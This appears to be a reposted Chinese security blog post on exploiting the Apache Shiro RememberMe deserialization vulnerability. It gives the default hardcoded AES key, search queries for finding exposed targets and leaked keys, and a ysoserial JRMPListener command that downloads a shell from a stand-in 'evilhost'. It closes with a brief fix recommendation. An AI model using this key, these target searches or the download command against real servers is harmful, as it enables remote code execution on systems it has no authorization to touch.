4加密问题漏洞修复_Apache Shiro 反序列化漏洞实战

Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞。尽管该漏洞已经曝光几年,但是在实战中仍然比较实用。花了点时间研究了下,并根据网络上的利用脚本改进。主要修改了检测方式,并使利用方式更加简单灵活,使其更具有实战意义,提升其效率。漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

漏洞利用条件
由于使用来aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==。这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。检测与利用

目标发现与寻找
Shrio框架的特征是登录页面的cookie中存在remeberMe=deleteMe(失败时返回的值)的内容。通过该特征发现Shiro的系统有几种方式:
1、在登录页面时,提交表单后看set-cookie是否存在remeberMe=deleteMe。

621f0dcc5139599275d49c4ef96d66e6.png


2、在流量中搜索remeberMe=deleteMe。

aa88d1dc3ad06579ea92e62b9f0e5071.png


3、通过fofa、zoomeye、shodan这类平台搜索相关特征来发现目标。
例如fofa的搜索关键词:header="rememberme=deleteMe"、header="shiroCookie"

566a721bb63370f2581caed09e579a37.png

漏洞检测
漏洞检测的面临的问题:
1、该漏洞无法回显
2、系统环境复杂
3、aes的key可能被修改。
对于第一个问题,可以通过dnslog平台,使用ysoserial的URLDNS Gadget来检测,使用这个Gadget好处就是通用。这种检测也可以解决系统环境复杂的问题。但是这里要注意解析会有ttl值缓存,检测时建议每次随机生成一个子域名。
对于第三个问题,我们可以通过网络收集,文件读取漏洞来获取key。通过github,搜索引擎这里收集到了23个key。
这里列出搜索关键词或者文件路径:
github搜索关键词securityManager.rememberMeManager.cipherKey cookieRememberMeManager.setCipherKey setCipherKey(Base64.decode
配置文件路径或者名
WEB-INF/shiro.ini
ShiroConfig.java

2bc4d7c3ff926725282d11698c801b3f.png

利用方式
根据大牛的文章以及实际测试,漏洞利用目前使用jndi和jrmp比较好。使用ysoserial的exploit功能即可。
服务器上执行java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'curl evilhost/shell –o shell'
本地通过JRMPClient的payload链接服务器上的JRMP服务使用网上的漏洞利用工具发送即可利用成功。
漏洞脚本地址:Shiro_exploit

修复建议
1、不要使用硬编码,不要使用硬编码,不要使用硬编码。

参考链接http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.htmlhttps://issues.apache.org/jira/browse/SHIRO-550https://blog.knownsec.com/2016/08/apache-shiro-java/https://www.cnblogs.com/loong-hon/p/10619616.htmlhttps://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/https://www.freebuf.com/vuls/178014.htmlhttps://www.cnblogs.com/peterpan0707007/p/11342997.htmlhttps://github.com/frohoff/ysoserial

  • 本文作者: BaCde's Blog
  • 本文链接: Apache Shiro 反序列化漏洞实战
  • 版权声明: 本博客所有文章除特别声明外,转载请注明出处!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/556929.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

lombok之@RequiredArgsConstructor注解

应用背景:我们在写controller或者Service层的时候,需要注入很多的mapper接口或者另外的service接口,这时候就会写很多的AutoWired注解,代码会看起来很乱。 这时lombok提供了一个注解 RequiredArgsConstructor,它可以写…

文件读取 linux_Linux 进程、线程、文件描述符的底层原理

说到进程,恐怕面试中最常见的问题就是线程和进程的关系了,那么先说一下答案:在 Linux 系统中,进程和线程几乎没有区别。Linux 中的进程其实就是一个数据结构,顺带可以理解文件描述符、重定向、管道命令的底层工作原理&…

pom.xml中依赖的<optional>true</optional>标签

项目A的pom.xml文件中某个依赖添加了true标签&#xff0c;如下所示 <dependency><groupId>org.projectlombok</groupId><artifactId>lombok</artifactId><optional>true</optional><!--防止将此依赖传递到其它模块中--> <…

中如何拉取git代码_git使用教程4pycharm拉取git仓库项目代码

前言当我们在github上看到别人写的项目&#xff0c;想拉到本地学习下。如何用pycharm把git仓库的代码拉取到本地电脑呢&#xff1f;环境准备&#xff1a;1.本地电脑已经安装了git2.已经注册过github账号3.pycharmpycharm配置先自己注册github账号&#xff0c;本地安装git环境&a…

lombok之@Slf4j注解

应用背景&#xff1a;如果不想每次都在实体类中写private final Logger logger LoggerFactory.getLogger(当前类名.class); 可以使用注解Slf4j Sl4j注解是是属于lombok中的一个注解&#xff0c;所以在使用该注解之前一定要引入lombok的依赖&#xff0c;同时IDEA还需要已经安装…

回归指令_用一条指令在新款 Mac 上找回经典的开机启动声

多年使用 Mac 的老用户肯定知道&#xff0c;Mac 在启动时会发出一声「噔&#xff5e;」的启动声音&#xff0c;伴随着 Apple logo 在屏幕上亮起&#xff0c;Mac 正在安全地启动。但如果你在最近几年换了新款 Mac 电脑&#xff0c;你会发现这个熟悉的启动音消失不见了。就像 Mag…

lombok常用注解整理

idea需要先安装好lombok插件&#xff0c;不会的可以参考这里https://blog.csdn.net/qq_43842093/article/details/115426380 引入依赖 <!-- https://mvnrepository.com/artifact/org.projectlombok/lombok --> <dependency><groupId>org.projectlombok<…

C/C++ const

看微软的文章&#xff1a; const (C) | Microsoft Learn

gpu浮点计算能力floaps_基准测试移动 GPU 中的浮点精度 - 第 2 部分

投稿人&#xff1a;&#xff0c;2013年6月11日这是有关GPU中浮点质量的一系列博文中的第二篇&#xff0c;我的灵感源自 发表于 的文章。在中&#xff0c;我宣称许多程序员其实并不真正了解浮点数字&#xff0c;也指出如果您准备将它用于比较棘手的东西&#xff0c;那么最好先准…

@DateTimeFormat注解

DateTimeFormat注解位于spring-context-5.0.10.RELEASE.jar包中 import org.springframework.format.annotation.DateTimeFormat; import java.util.Date;public class User {//姓名private String name;//出生日期DateTimeFormat(pattern "yyyy-MM-dd")private Da…

h5页面如何预览excel文件_移动端页面,如何解析预览 word/excel/PDF文件?

展开全部利用Office2007以上版本的一个PDF插件SaveAsPDFandXPS.exe可以导出PDF文件&#xff0c;然后再利用免费的swftools.exe工具生成swf格式的Flash文件&#xff0c;网页中加载flexpaper免费开源工具(32313133353236313431303231363533e59b9ee7ad9431333365633934有广告)实现…

Gson之toJson和fromJson方法

Gson是Google的一个开源项目&#xff0c;可以将Java对象转换成JSON&#xff0c;也可能将JSON转换成Java对象。 Gson里最重要的对象有2个Gson 和 GsonBuilder Gson有2个最基本的方法 toJson() – 转换java 对象到JSONfromJson() – 转换JSON到java对象 引入依赖&#xff1a;…

android 手机内存uri_android 的各种目录详解

App独立文件app独立文件就是那些不依赖于某特定app的文件这类文件当我们删除应用之后&#xff0c;还应该保留在手机上的&#xff0c;例如拍照的照片&#xff0c;不应该随着删除应用而被删除掉。这类文件应该是随着app删除而一起删除的&#xff0c;它们可以被存储在两个地方&…

python3 tkinter详解_python tkinter基本属性详解

1.外形尺寸尺寸单位&#xff1a;只用默认的像素或者其他字符类的值&#xff01;&#xff0c;不要用英寸毫米之类的内容。btn tkinter.Button(root,text 按钮)# 设置按钮尺寸&#xff0c;绝大多数默认单位是像素btn.pack(ipadx 100,ipady 20)2.坐标系btn tkinter.Button(ro…

Gson详解(二)

1.复杂Json转成对象 比如&#xff1a;jsonString:{“response”:{“content”:"\n\t",“msg”:“成功”,“code”:“0”,“data{“content”:”\n\t",“VIN”:“LDC12345678901234”},“cmd”:“ScanVINCode”}} Gson解析 Gson gson new Gson();roodBean gs…

linux mysql 备份脚本_linux 之mysql备份脚本

#date 2020.2.20#author zhang#描述 用户自己选择使用什么工具进行备份#$1 账户; $2 密码 $3 地址stty erase "^H"[ -f /etc/init.d/functions ] && . /etc/init.d/functions#备份文件夹路径backup_path"/usr/local/src/backup_mysql"[ -d $backup…

Java使用GSON对JSON进行解析——IDEA引入jar包方式

GSON GSON是Google公司开发的用于解析json的类库。可以很轻松地让程序员将java对象转换成JSON格式&#xff0c;或者将JSON格式的对象转换成Java对象。 使用方法很简单&#xff1a; 首先&#xff0c;需要将GSON类库的jar包引入到自己的IDE中&#xff0c;本教程使用IDEA为例子…

mysql查询姓王的信息代码_MySQL查询语句练习题

1.创建student和score表CREATE TABLE student (id INT(10) NOT NULL UNIQUE PRIMARY KEY ,name VARCHAR(20) NOT NULL ,sex VARCHAR(4) ,birth YEAR,department VARCHAR(20) ,address VARCHAR(50));创建score表。SQL代码如下&#xff1a;CREATE TABLE score (i…

IoT -- (四) 物联网系统架构介绍

物联网系统框架介绍 下面将谈到几个关键问题&#xff1a; 设备如何接入网络&#xff1f;设备间如何通信&#xff1f;物联网数据的用途?如何搭建起一个物联网系统框架呢&#xff1f;它的技术架构又是怎么样呢&#xff1f;物联网终端软件系统架构&#xff1f;物联网云平台系统…

mysql 删除not null_从MySQL的列中删除NOT NULL限制?

要从MySQL的列中删除NOT NULL限制&#xff0c;请使用ALTER命令。语法如下&#xff1a;ALTER TABLE yourTableName MODIFY COLUMN yourColumnName dataType;为了理解上述语法&#xff0c;让我们创建一个表。创建表的查询如下&#xff1a;mysql> create table NotNullDemo->…